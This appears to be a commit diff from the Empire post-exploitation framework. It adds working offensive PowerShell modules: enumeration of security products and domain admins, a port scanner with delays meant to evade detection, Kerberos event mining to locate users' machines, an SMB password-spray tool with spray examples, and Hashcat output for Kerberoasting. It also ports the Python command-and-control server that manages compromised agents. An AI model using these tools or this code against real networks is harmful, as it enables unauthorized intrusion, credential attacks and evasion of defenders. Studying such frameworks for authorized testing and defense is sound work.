320 Write-Output ("Possible Triumfant behavioral analysis process " + $ps.ProcessName + " is running.")
321 }
322 if ($ps.ProcessName -like "CSFalcon")
323 {
324 Write-Output ("Possible CrowdStrike Falcon EDR process " + $ps.ProcessName + " is running.")
325 }
326 #Intrusion Detection
327 if ($ps.ProcessName -like "*ossec*")
328 {
329 Write-Output ("Possible OSSEC intrusion detection process " + $ps.ProcessName + " is running.")
330 }
331 #Firewall
332 if ($ps.ProcessName -like "*TmPfw*")
333 {
334 Write-Output ("Possible Trend Micro firewall process " + $ps.ProcessName + " is running.")
335 }
336 #DLP
337 if (($ps.ProcessName -like "dgagent") -or ($ps.ProcessName -like "DgService") -or ($ps.ProcessName -like "DgScan"))
338 {
339 Write-Output ("Possible Verdasys Digital Guardian DLP process " + $ps.ProcessName + " is running.")
340 }
341 if ($ps.ProcessName -like "kvoop")
342 {
343 Write-Output ("Possible Unknown DLP process " + $ps.ProcessName + " is running.")
344 }
345 }
346 Write-Output "`n"
347
348 if ($DisableDomainChecks -eq $false)
349 {
350 #Domain Password Policy
351
352 $domain = "$env:USERDOMAIN"
353 Write-Output "[*] Domain Password Policy"
354 Try
355 {
356 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$domain)
357 $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
358 $CurrentDomain = [ADSI]"WinNT://$env:USERDOMAIN"
359 $Name = @{Name="DomainName";Expression={$_.Name}}
360 $MinPassLen = @{Name="Minimum Password Length";Expression={$_.MinPasswordLength}}
361 $MinPassAge = @{Name="Minimum Password Age (Days)";Expression={$_.MinPasswordAge.value/86400}}
362 $MaxPassAge = @{Name="Maximum Password Age (Days)";Expression={$_.MaxPasswordAge.value/86400}}
363 $PassHistory = @{Name="Enforce Password History (Passwords remembered)";Expression={$_.PasswordHistoryLength}}
364 $AcctLockoutThreshold = @{Name="Account Lockout Threshold";Expression={$_.MaxBadPasswordsAllowed}}
365 $AcctLockoutDuration = @{Name="Account Lockout Duration (Minutes)";Expression={if ($_.AutoUnlockInterval.value -eq -1) {'Account is locked out until administrator unlocks it.'} else {$_.AutoUnlockInterval.value/60}}}
366 $ResetAcctLockoutCounter = @{Name="Observation Window";Expression={$_.LockoutObservationInterval.value/60}}
367 $CurrentDomain | Select-Object $Name,$MinPassLen,$MinPassAge,$MaxPassAge,$PassHistory,$AcctLockoutThreshold,$AcctLockoutDuration,$ResetAcctLockoutCounter | format-list | Out-String
368
369 }
370 catch
371 {
372 Write-Output "Error connecting to the domain while retrieving password policy."
373
374 }
375 Write-Output "`n"
376
377 #Domain Controllers
378
379 Write-Output "[*] Domain Controllers"
380 Try
381 {
382 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$domain)
383 $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
384 $DCS = $DomainObject.DomainControllers
385 foreach ($dc in $DCS)
386 {
387 $dc.Name
388 }
389
390 }
391 catch
392 {
393 Write-Output "Error connecting to the domain while retrieving listing of Domain Controllers."
394
395 }
396 Write-Output "`n"
397
398 #Domain Admins
399
400 Write-Output "[*] Domain Admins"
401 Try
402 {
403 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$domain)
404 $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
405
406 $DAgroup = ([adsi]"WinNT://$domain/Domain Admins,group")
407 $Members = @($DAgroup.psbase.invoke("Members"))
408 [Array]$MemberNames = $Members | ForEach{([ADSI]$_).InvokeGet("Name")}
409 $MemberNames
410 }
411 catch
412 {
413 Write-Output "Error connecting to the domain while retrieving Domain Admins group members."
414
415 }
416 Write-Output "`n"
417 }
418 If($Portscan)
419 {
420 if ($Portlist -ne "")
421 {
422 TCP-PortScan -Portlist $Portlist
423 }
424 else
425 {
426 TCP-PortScan -TopPorts $TopPorts
427 }
428 }
429
430 }
431
432
433 function TCP-PortScan {
434 <#
435 .SYNOPSIS
436
437 Perform a full TCP connection scan to the destination hostname, or to 'allports.exposed' if that destination is not supplied.
438
439 Author: Joff Thyer, April 2014
440
441 .DESCRIPTION
442
443 TCP-Portscan is designed to perform a full TCP connection scan to the destination
444 hostname using either a port range of top X number of popular TCP ports. The top
445 popular port list is derived from NMAP's services using the frequrency measurements
446 that appear in this file. If the top X number of popular ports is not the desired
447 behavior, you can specify a minimum and maximum port number within which a range of
448 ports will be scanned. By default, a random delay between 50 and 200 milliseconds
449 is added in order to assist in avoiding detection. Also by default, if the hostname
450 is not specified then 'allports.exposed' will be used as a default. The 'allports.exposed'
451 site responds to all TCP ports will the text of 'woot woot' if an HTTP request is sent,
452 but more to the point, all ports are considered open.
453
454 .PARAMETER Hostname
455
456 If provided, the hostname will be looked up and the resulting IP address used
457 as the IP address to be scanned. If not provided, then the default hostname
458 of 'allports.exposed' will be used.
459
460 .PARAMETER MinPort
461
462 Specify the minimum port number in a range of ports to be scanned.
463
464 .PARAMETER MaxPort
465
466 Specify the maximum port number in a range of ports to be scanned.
467
468 .PARAMETER TopPorts
469
470 Specify the number of popular ports which you would like to be scanned. Up to
471 128 ports may be specified.
472
473 .PARAMETER Timeout
474
475 Specify the TCP connection timeout in the range of 10 - 10000 milliseconds.
476
477 .PARAMETER NoRandomDelay
478
479 Disable the random delay between connection attempts.
480
481 #>
482
483 param( [String]$Hostname = 'allports.exposed',
484 [ValidateRange(1,65535)][Int]$MinPort = 1,
485 [ValidateRange(1,65535)][Int]$MaxPort = 1,
486 [ValidateRange(1,128)][Int]$TopPorts = 50,
487 [ValidateRange(10,10000)][Int]$Timeout = 400,
488 [ValidateRange(1,65535)][String[]]$Portlist = "",
489 [switch]$NoRandomDelay = $false )
490
491 $resolved = [System.Net.Dns]::GetHostByName($Hostname)
492 $ip = $resolved.AddressList[0].IPAddressToString
493
494 # TopN port collection derived from NMAP project
495 $tcp_top128 = 80, 23, 443, 21, 22, 25, 3389, 110, 445, 139, 143, 53, `
496 135, 3306, 8080, 1723, 111, 995, 993, 5900, 1025, 587, 8888, 199, `
497 1720, 465, 548, 113, 81, 6001, 10000, 514, 5060, 179, 1026, 2000, `
498 8443, 8000, 32768, 554, 26, 1433, 49152, 2001, 515, 8008, 49154, 1027, `
499 5666, 646, 5000, 5631, 631, 49153, 8081, 2049, 88, 79, 5800, 106, `
500 2121, 1110, 49155, 6000, 513, 990, 5357, 427, 49156, 543, 544, 5101, `
501 144, 7, 389, 8009, 3128, 444, 9999, 5009, 7070, 5190, 3000, 5432, `
502 3986, 13, 1029, 9, 6646, 49157, 1028, 873, 1755, 2717, 4899, 9100, `
503 119, 37, 1000, 3001, 5001, 82, 10010, 1030, 9090, 2107, 1024, 2103, `
504 6004, 1801, 19, 8031, 1041, 255, 3703, 17, 808, 3689, 1031, 1071, `
505 5901, 9102, 9000, 2105, 636, 1038, 2601, 7000
506
507 $report = @()
508 if ($MaxPort -gt 1 -and $MinPort -lt $MaxPort) {
509 $ports = $MinPort..$MaxPort
510 Write-Host -NoNewline "[*] Scanning $Hostname ($ip), port range $MinPort -> $MaxPort : "
511 }
512 elseif ($MaxPort -lt $MinPort) {
513 Throw "Are you out of your mind? Port range cannot go negative."
514 }
515 elseif($Portlist -ne ""){
516 $ports = $Portlist
517 Write-Host -NoNewline "[*] Scanning $Hostname ($ip), using the portlist provided."
518 }
519 else {
520 $PortDiff = $TopPorts - 1
521 $ports = $tcp_top128[0..$PortDiff]
522 Write-Host -NoNewline "[*] Scanning $Hostname ($ip), top $TopPorts popular ports : "
523 }
524
525 $total = 0
526 $tcp_count = 0
527 foreach ($port in Get-Random -input $ports -count $ports.Count) {
528 if (![Math]::Floor($total % ($ports.Count / 10))) {
529 Write-Host -NoNewline "."
530 }
531 $total += 1
532 $temp = "" | Select Address, Port, Proto, Status, Banner
533 $temp.Proto = "tcp"
534 $temp.Port = $port
535 $temp.Address = $ip
536 $tcp = new-Object system.Net.Sockets.TcpClient
537 $connect = $tcp.BeginConnect($ip,$port,$null,$null)
538 $wait = $connect.AsyncWaitHandle.WaitOne($Timeout,$false)
539 if (!$wait) {
540 $error.clear()
541 $tcp.close()
542 $temp.Status = "closed"
543 }
544 else {
545 try {
546 $tcp.EndConnect($connect)
547 $tcp.Close()
548 $temp.Status = "open"
549 $tcp_count += 1
550 }
551 catch {
552 $temp.Status = "reset"
553 }
554 }
555 $report += $temp
556
557 # add random delay if we want it
558 if (!$NoRandomDelay) {
559 $sleeptime = Get-Random -Minimum 50 -Maximum 200
560 Start-Sleep -Milliseconds $sleeptime
561 }
562 }
563 Write-Host
564 $columns = @{l='IP-Address';e={$_.Address}; w=15; a="left"},@{l='Proto';e={$_.Proto};w=5;a="right"},@{l='Port';e={$_.Port}; w=5; a="right"},@{l='Status';e={$_.Status}; w=4; a="right"}
565 $report | where {$_.Status -eq "open"} | Sort-Object Port | Format-Table $columns -AutoSize
566 Write-Output "[*] $tcp_count out of $total scanned ports are open!"
567 }
+107
-0
data/module_source/situational_awareness/network/Get-KerberosServiceTicket.ps1 less more
0 Function Get-KerberosServiceTicket {
1 <#
2 .SYNOPSIS
3
4 Retrieves IP addresses and usernames using event ID 4769 this can allow identification of a users machine. Can only run on a domain controller.
5
6 Author: Liam Glanfield (@OneLogicalMyth)
7 Required Dependencies: None
8 Optional Dependencies: None
9 Version: 18.3.14.0
10
11 .DESCRIPTION
12
13 Get-KerberosServiceTicket searches the windows event for event ID 4769. This event marks the initial logons through the granting of TGTs. Service tickets are obtained whenever a user or computer accesses a server on the network and as such can help locate a potential IP address for an individual of interest.
14
15 .EXAMPLE
16
17 PS C:\> Get-KerberosServiceTicket -MaxEvents 200
18
19 Returns the first 200 records relating to event ID 4769.
20
21 .EXAMPLE
22
23 PS C:\> Get-KerberosServiceTicket -UserName [email protected]
24
25 Returns all unique IP addresses for the user [email protected].
26
27 .LINK
28
29 https://github.com/OneLogicalMyth/Empire
30 https://www.sans.org/reading-room/whitepapers/forensics/windows-logon-forensics-34132
31 #>
32
33 [CmdletBinding()]
34 param([string]$UserName=$null,[int]$MaxEvents=1000,[bool]$ExcludeComputers=$true)
35
36 #Check if username is in the right format
37 if(-not [System.String]::IsNullOrEmpty($UserName))
38 {
39 if($UserName -notlike '*@*')
40 {
41 throw 'UserName is in the incorrect format, please use "[email protected]"'
42 }
43 }
44
45 #Check if this computer is a domain controller
46 $DomainRole = (Get-WmiObject Win32_ComputerSystem).DomainRole
47 if($DomainRole -lt 4)
48 {
49 throw 'Unable to continue this is not a domain controller.'
50 }
51
52 #Check if this is Windows Server 2008 or higher
53 $WindowsVista = [System.Version]'6.0'
54 $OS = Get-WmiObject win32_operatingsystem
55 $OSVersion = [Version]$OS.Version
56 if ($OSVersion.CompareTo($WindowsVista) -lt 0)
57 {
58 throw 'Unable to continue Windows Server 2008 or higher is only supported.'
59 }
60
61
62 #Build filter to only output logon events in the last 24 hours
63 $XMLFilter = @"
64 <QueryList>
65 <Query Id="0" Path="Security">
66 <Select Path="Security">
67 *[System[(EventID=4769)]]
68 $(if(-not [System.String]::IsNullOrEmpty($UserName)){' and'})
69 $(if(-not [System.String]::IsNullOrEmpty($UserName)){" *[EventData[Data[@Name=`"TargetUserName`"]='$UserName']]"})
70 </Select>
71 </Query>
72 </QueryList>
73 "@
74
75 $Results = Get-WinEvent -FilterXml $XMLFilter -MaxEvents $MaxEvents | ForEach-Object {
76
77 $Event = $_
78
79 $EventDateTime = $Event.TimeCreated
80 $EventXML = [XML]$Event.ToXML()
81 $EventData = $EventXML.Event.EventData.Data
82
83 $UName = $EventData[0].'#text'
84 $IPAddress = $EventData[6].'#text'.Replace('::ffff:','')
85
86 #Clean up the event time so that it can be made unique
87 $EventDateTime = $EventDateTime.ToString()
88
89 $Result = New-Object PSObject
90 $Result | Add-Member NoteProperty UserName $UName
91 $Result | Add-Member NoteProperty IPAddress $IPAddress
92 $Result | Add-Member NoteProperty DateTime $EventDateTime
93
94 $Result
95
96 }
97
98 if($ExcludeComputers)
99 {
100 $Results | Where-Object { $_.UserName -notlike '*$@*' } | Sort-Object DateTime -Descending | Select-Object -Property * -Unique
101 }else{
102 $Results | Sort-Object DateTime -Descending | Select-Object -Property * -Unique
103 }
104
105
106 }⏎
+203
-0
data/module_source/situational_awareness/network/Invoke-SMBLogin.ps1 less more
0 <#
1 .SYNOPSIS
2 Validates username & password combination(s) across a host or group of hosts using the SMB protocol.
3
4 Author: Mauricio Velazco (@mvelazco)
5 License: BSD 3-Clause
6 .DESCRIPTION
7 The script will attempt to mount the C$ administrative share on a remote host (s) using username & paswword combination (s).
8 It will interpret the results and print a table of results on the console.
9
10 .PARAMETER ComputerName
11 A single computer name or ip
12 A list of comma separated computer names or ips
13 A text file of computer names or ips ( one per line )
14
15 .PARAMETER Domain
16 Optional
17 Domain to use. If not defined, local account authentication events will be generated (builtin\).
18
19 .PARAMETER Sleep
20 Optional
21 Time to sleep between each authentication attempt.
22
23
24 .PARAMETER UserName
25 A single username
26 A list of comma separated usernames
27 A text file usernames ( one per line )
28 .PARAMETER Password
29 A single password
30 A list of comma separated passwords
31 A text file of passwords ( one per line )
32 .EXAMPLE
33 PS C:\> Invoke-SMBLogin -ComputerName host01 -UserName bsimpson -Password Passw0rd1
34 PS C:\> Invoke-SMBLogin -ComputerName host01 -UserName bsimpson -Password "Passw0rd1,Passw0rd2,Passw0rd3"
35 PS C:\> Invoke-SMBLogin -ComputerName "host01,host02,host03" -UserName bsimpson -Password "Passw0rd1,Passw0rd2,Passw0rd3"
36
37 PS C:\> Invoke-SMBLogin -Domain lab.org -ComputerName hosts.txt -UserName Administrator -Password Passw0rd1
38 PS C:\> Invoke-SMBLogin -Domain lab.org -ComputerName host01 -UserName users.txt -Password Passw0rd1
39 PS C:\> Invoke-SMBLogin -Domain lab.org -ComputerName host01 -UserName users.txt -Password passwords.txt
40 Depending on the type of paramater ( a single item, comma separated items or text file ) the script will run through all the iterations.
41 .EXAMPLE
42 PS C:\> Invoke-SMBLogin -ComputerName hosts.txt -UserName Administrator -Password "Passw0rd1,Passw0rd2"
43 ComputerName Username Password Result
44 ------------ -------- -------- ------
45 192.168.1.1 builtin\Administrator Passw0rd1 Failed
46 192.168.1.1 builtin\Administrator Passw0rd2 Failed
47 192.168.1.2 builtin\Administrator Passw0rd1 Failed
48 192.168.1.2 builtin\Administrator Passw0rd2 Success
49
50 .EXAMPLE
51 PS C:\> Get-ADUser -Filter * | Select-Object SamAccountName > users.txt
52 PS C:\> Invoke-SMBLogin -Domain lab.org -ComputerName AnyDomainHost -UserName users.txt -Password Winter2019
53 This will perform a password spray attack across all domain users using Winter2019.
54
55 #>
56 function Invoke-SMBLogin {
57
58 [CmdletBinding()]
59 Param
60 (
61 [string]$Domain,
62 [string]$UserName,
63 [string]$Password,
64 [string]$ComputerName,
65 [int]$Sleep
66 )
67 $dom="builtin\"
68 if ($Domain){
69 $dom=$Domain+ '\'
70 }
71 if (!$Sleep){
72 $Sleep = 0
73 }
74 if (!($UserName) -or !($Password) -or !($ComputerName)) {
75 Write-Warning 'Invoke-SMBLogin: Please specify the $UserName, $Password and $ComputerName parameters.'
76 }
77 else
78 {
79
80 $ComputerNames = @()
81 $UserNames = @()
82 $Passwords = @()
83 $Results = @()
84
85 if (Test-Path $ComputerName -PathType Leaf) {
86 $ComputerNames = Get-Content $ComputerName
87 }
88 elseif ($ComputerName -match ","){
89 $ComputerNames=$ComputerName.Split(',')
90 }
91 else{
92 $ComputerNames=@($ComputerName)
93 }
94
95 if (Test-Path $UserName -PathType Leaf) {
96 $UserNames = Get-Content $UserName
97 }
98 elseif ($UserName -match ",")
99 {
100 $UserNames=$UserName.Split(',')
101 }
102 else{
103 $UserNames=@($UserName)
104 }
105
106 if (Test-Path $Password -PathType Leaf) {
107 $Passwords = Get-Content $Password
108 }
109 elseif ($Password -match ",")
110 {
111 $Passwords=$Password.Split(',')
112 }
113 else{
114 $Passwords=@($Password)
115 }
116
117 foreach ($Computer in $ComputerNames)
118 {
119 if (Test-Connection -ComputerName $Computer -Count 1 -Quiet )
120 {
121 foreach ($User in $UserNames)
122 {
123 $User=$dom+$User
124 foreach ($Password in $Passwords)
125 {
126 try
127 {
128 $net = new-object -ComObject WScript.Network
129 $Result=$net.MapNetworkDrive("x:", "\\"+$Computer+"\c$", $false,$User, $Password)
130
131 if ($Result) {
132 Write-Verbose "SUCCESS ( With admin rights ): $User works with $Password against $Computer"
133 $result = new-object psobject
134 $result | add-member Noteproperty 'ComputerName' $Computer
135 $result | add-member Noteproperty 'Username' $User
136 $result | add-member Noteproperty 'Password' $Password
137 $result | add-member Noteproperty 'Result' 'Success'
138 $Results += $result
139 $net.RemoveNetworkDrive("x:", $true, $true)
140
141 }
142 else {
143 Write-Verbose "FAILED: $User works with $Password against $ComputerName"
144 }
145 }
146 Catch
147 {
148 if ($_.Exception.Message -like '*password is not correct*'){
149
150 Write-Verbose "FAILED (The specified network password is not correct) : $User fails with $Password against $Computer"
151 $result = new-object psobject
152 $result | add-member Noteproperty 'ComputerName' $Computer
153 $result | add-member Noteproperty 'Username' $User
154 $result | add-member Noteproperty 'Password' $Password
155 $result | add-member Noteproperty 'Result' 'Failed'
156 $Results += $result
157
158 }
159 elseif ($_.Exception.Message -like '*Access is Denied*'){
160 Write-Verbose "SUCCESS ( Access is denied ): $User works with $Password against $Computer"
161 $result = new-object psobject
162 $result | add-member Noteproperty 'ComputerName' $Computer
163 $result | add-member Noteproperty 'Username' $User
164 $result | add-member Noteproperty 'Password' $Password
165 $result | add-member Noteproperty 'Result' 'Success'
166 $Results += $result
167
168
169 }
170 elseif ($_.Exception.Message -like '*unknown user name or bad password*'){
171 Write-Verbose "FAILED ( unkown user name or bad password) : $User fails with $Password against $Computer"
172 $result = new-object psobject
173 $result | add-member Noteproperty 'ComputerName' $Computer
174 $result | add-member Noteproperty 'Username' $User
175 $result | add-member Noteproperty 'Password' $Password
176 $result | add-member Noteproperty 'Result' 'Failed'
177 $Results += $result
178
179 }
180 elseif (($_.Exception.Message -like '*network name cannot be found*') -or ($_.Exception.Message -like '*network path was not found*')) {
181 Write-Verbose "Host $Computer is Offline"
182
183 }
184 }
185 if ($Sleep -gt 0){
186 Write-Verbose "Sleeping $Sleep seconds between each authentication attempt"
187 Start-Sleep -s $Sleep
188
189 }
190
191 }
192 }
193 }
194 else
195 {
196 Write-Verbose "Host $Computer is Offline"
197 }
198 }
199 $Results | Format-Table -AutoSize
200 }
201 }
202
+12
-2
data/module_source/situational_awareness/network/powerview.ps1 less more
28302830 A [Management.Automation.PSCredential] object of alternate credentials
28312831 for connection to the target domain.
28322832
2833 .PARAMETER OutputFormat
2834
2835 Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
2836 Defaults to 'John'.
2837
28332838 .EXAMPLE
28342839
28352840 Invoke-Kerberoast | fl
29032908
29042909 [Management.Automation.PSCredential]
29052910 [Management.Automation.CredentialAttribute()]
2906 $Credential = [Management.Automation.PSCredential]::Empty
2911 $Credential = [Management.Automation.PSCredential]::Empty,
2912
2913 [ValidateSet('John', 'Hashcat')]
2914 [Alias('Format')]
2915 [String]
2916 $OutputFormat = 'John'
29072917 )
29082918
29092919 BEGIN {
29282938
29292939 PROCESS {
29302940 if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
2931 Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket
2941 Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
29322942 }
29332943
29342944 END {
+22
-16
empire less more
0 #!/usr/bin/env python
1
0 #!/usr/bin/env python3
1
2 from __future__ import print_function
23 import sqlite3, argparse, sys, argparse, logging, json, string, subprocess
34 import os, re, time, signal, copy, base64, pickle, random
45 from flask import Flask, request, jsonify, make_response, abort, url_for
1112 # Empire imports
1213 from lib.common import empire, helpers
1314
15 # if running in python 2.7 set global utf8 encoding otherwise python 3 is already UTF-8 by default
16 if sys.version[0] == '2':
17 reload(sys)
18 sys.setdefaultencoding("utf-8")
19
1420 global serverExitCommand
1521 serverExitCommand = 'restart'
1622
2733 """
2834 if os.path.exists('/.dockerenv'):
2935 if not os.path.exists('data/empire.db'):
30 print '[*] Fresh start in docker, running reset.sh for you'
36 print('[*] Fresh start in docker, running reset.sh for you')
3137 subprocess.call(['./setup/reset.sh'])
3238
3339
4450 return conn
4551
4652 except Exception:
47 print helpers.color("[!] Could not connect to database")
48 print helpers.color("[!] Please run setup_database.py")
53 print(helpers.color("[!] Could not connect to database"))
54 print(helpers.color("[!] Please run setup_database.py"))
4955 sys.exit()
5056
5157
189195 password = password[0]
190196
191197
192 print ''
193
194
195
196 print " * Starting Empire RESTful API on port: %s" %(port)
198 print('')
199
200
201
202 print(" * Starting Empire RESTful API on port: %s" %(port))
197203
198204 # refresh the token for the RESTful API
199205 apiToken = refresh_api_token(conn)
200 print " * RESTful API token: %s" %(apiToken)
206 print(" * RESTful API token: %s" %(apiToken))
201207
202208 permanentApiToken = get_permanent_token(conn)
203209 tokenAllowed = re.compile("^[0-9a-z]{40}")
849855
850856 for activeAgent in activeAgentsRaw:
851857 [ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent
852 activeAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
858 activeAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode("utf-8"), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
853859
854860 return jsonify({'agents' : activeAgents})
855861
12731279
12741280
12751281 if not os.path.exists('./data/empire-chain.pem'):
1276 print "[!] Error: cannot find certificate ./data/empire-chain.pem"
1282 print("[!] Error: cannot find certificate ./data/empire-chain.pem")
12771283 sys.exit()
12781284
12791285
12881294 sys.stdout.close()
12891295 sys.stdout = oldStdout
12901296
1291 print "\n * Shutting down Empire RESTful API"
1297 print("\n * Shutting down Empire RESTful API")
12921298
12931299 if conn:
12941300 conn.close()
12951301
12961302 if suppress:
1297 print " * Shutting down the Empire instance"
1303 print(" * Shutting down the Empire instance")
12981304 main.shutdown()
12991305
13001306 serverExitCommand = 'shutdown'
13851391 args.restport = args.restport[0]
13861392
13871393 if args.version:
1388 print empire.VERSION
1394 print(empire.VERSION)
13891395
13901396 elif args.rest:
13911397 # start an Empire instance and RESTful API
+8
-4
lib/common/__init__.py less more
00 """
11 Connect to the default database at ./data/empire.db.
22 """
3 from __future__ import print_function
4 from __future__ import absolute_import
35
46 import sys
57 import sqlite3
68
7 import helpers
9 from . import helpers
10
811
912 def connect_to_db():
1013 try:
1316 conn.text_factory = str
1417 conn.isolation_level = None
1518 return conn
16
19
1720 except Exception:
18 print helpers.color("[!] Could not connect to database")
19 print helpers.color("[!] Please run database_setup.py")
21 print(helpers.color("[!] Could not connect to database"))
22 print(helpers.color("[!] Please run database_setup.py"))
2023 sys.exit()
2124
25
2226 db = connect_to_db()
+78
-74
lib/common/agents.py less more
5454 Most methods utilize self.lock to deal with the concurreny issue of kicking off threaded listeners.
5555
5656 """
57 from __future__ import print_function
58 from __future__ import absolute_import
5759 # -*- encoding: utf-8 -*-
60 from builtins import str
61 from builtins import object
5862 import os
5963 import json
6064 import string
6468 from zlib_wrapper import decompress
6569
6670 # Empire imports
67 import encryption
68 import helpers
69 import packets
70 import messages
71 import events
72
73
74 class Agents:
71 from . import encryption
72 from . import helpers
73 from . import packets
74 from . import messages
75 from . import events
76
77
78 class Agents(object):
7579 """
7680 Main class that contains agent handling functionality, including key
7781 negotiation in process_get() and process_post().
163167 signal = json.dumps({
164168 'print': True,
165169 'message': message,
166 'timestamp': checkinTime
170 'timestamp': checkinTime,
171 'event_type': 'checkin'
167172 })
168173 dispatcher.send(signal, sender="agents/{}".format(sessionID))
169174
274279 f = open("%s/%s" % (save_path, filename), 'ab')
275280
276281 if "python" in lang:
277 print helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green")
282 print(helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green"))
278283 d = decompress.decompress()
279284 dec_data = d.dec_data(data)
280 print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green")
285 print(helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green"))
281286 if not dec_data['crc32_check']:
282287 message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(nameid, dec_data['header_crc32'], dec_data['dec_crc32'], dec_data['crc32_check'])
283288 signal = json.dumps({
293298 self.lock.release()
294299
295300 # notify everyone that the file was downloaded
296 message = "[+] Part of file %s from %s saved".format(filename, sessionID)
301 message = "[+] Part of file {} from {} saved".format(filename, sessionID)
297302 signal = json.dumps({
298303 'print': True,
299304 'message': message
315320
316321 # decompress data if coming from a python agent:
317322 if "python" in lang:
318 print helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green")
323 print(helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green"))
319324 d = decompress.decompress()
320325 dec_data = d.dec_data(data)
321 print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green")
326 print(helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green"))
322327 if not dec_data['crc32_check']:
323328 message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(nameid, dec_data['header_crc32'], dec_data['dec_crc32'], dec_data['crc32_check'])
324329 signal = json.dumps({
367372 """
368373 Save the agent console output to the agent's log file.
369374 """
370
375 if isinstance(data, bytes):
376 data = data.decode('UTF-8')
371377 name = self.get_agent_name_db(sessionID)
372378 save_path = self.installPath + "/downloads/" + str(name) + "/"
373379
615621 sessionID = nameid
616622
617623 if sessionID not in self.agents:
618 print helpers.color("[!] Agent %s not active." % (agent_name))
624 print(helpers.color("[!] Agent %s not active." % (agent_name)))
619625 else:
620626 conn = self.get_db_connection()
621627 try:
851857 """
852858
853859 # see if we were passed a name instead of an ID
860 if isinstance(results, bytes):
861 results = results.decode('UTF-8')
862
854863 nameid = self.get_agent_id_db(sessionID)
855864 if nameid:
856865 sessionID = nameid
864873 # get existing agent results
865874 cur.execute("SELECT results FROM agents WHERE session_id LIKE ?", [sessionID])
866875 agent_results = cur.fetchone()
867
868876 if agent_results and agent_results[0]:
869877 agent_results = json.loads(agent_results[0])
870878 else:
942950 """
943951
944952 if not newname.isalnum():
945 print helpers.color("[!] Only alphanumeric characters allowed for names.")
953 print(helpers.color("[!] Only alphanumeric characters allowed for names."))
946954 return False
947955
948956 conn = self.get_db_connection()
955963
956964 # check if the folder is already used
957965 if os.path.exists(newPath):
958 print helpers.color("[!] Name already used by current or past agent.")
966 print(helpers.color("[!] Name already used by current or past agent."))
959967 retVal = False
960968 else:
961969 # move the old folder path to the new one
10211029 cur.execute("UPDATE config SET autorun_data=?", [moduleData])
10221030 cur.close()
10231031 except Exception:
1024 print helpers.color("[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema.")
1025 print helpers.color("[!] Warning: this will reset ALL agent connections!")
1032 print(helpers.color("[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema."))
1033 print(helpers.color("[!] Warning: this will reset ALL agent connections!"))
10261034
10271035
10281036 def clear_autoruns_db(self):
10601068 sessionID = nameid
10611069
10621070 if sessionID not in self.agents:
1063 print helpers.color("[!] Agent %s not active." % (agentName))
1071 print(helpers.color("[!] Agent %s not active." % (agentName)))
10641072 else:
10651073 if sessionID:
10661074 message = "[*] Tasked {} to run {}".format(sessionID, taskName)
11001108 'message': message,
11011109 'task_name': taskName,
11021110 'task_id': pk,
1103 'task': task
1111 'task': task,
1112 'event_type': 'task'
11041113 })
11051114 dispatcher.send(signal, sender="agents/{}".format(sessionID))
11061115
11311140 sessionID = nameid
11321141
11331142 if sessionID not in self.agents:
1134 print helpers.color("[!] Agent %s not active." % (agentName))
1143 print(helpers.color("[!] Agent %s not active." % (agentName)))
11351144 return []
11361145 else:
11371146 conn = self.get_db_connection()
12401249 # step 3 of negotiation -> client posts public key
12411250 message = "[*] Agent {} from {} posted public key".format(sessionID, clientIP)
12421251 signal = json.dumps({
1243 'print': True,
1252 'print': False,
12441253 'message': message
12451254 })
12461255 dispatcher.send(signal, sender="agents/{}".format(sessionID))
12491258 try:
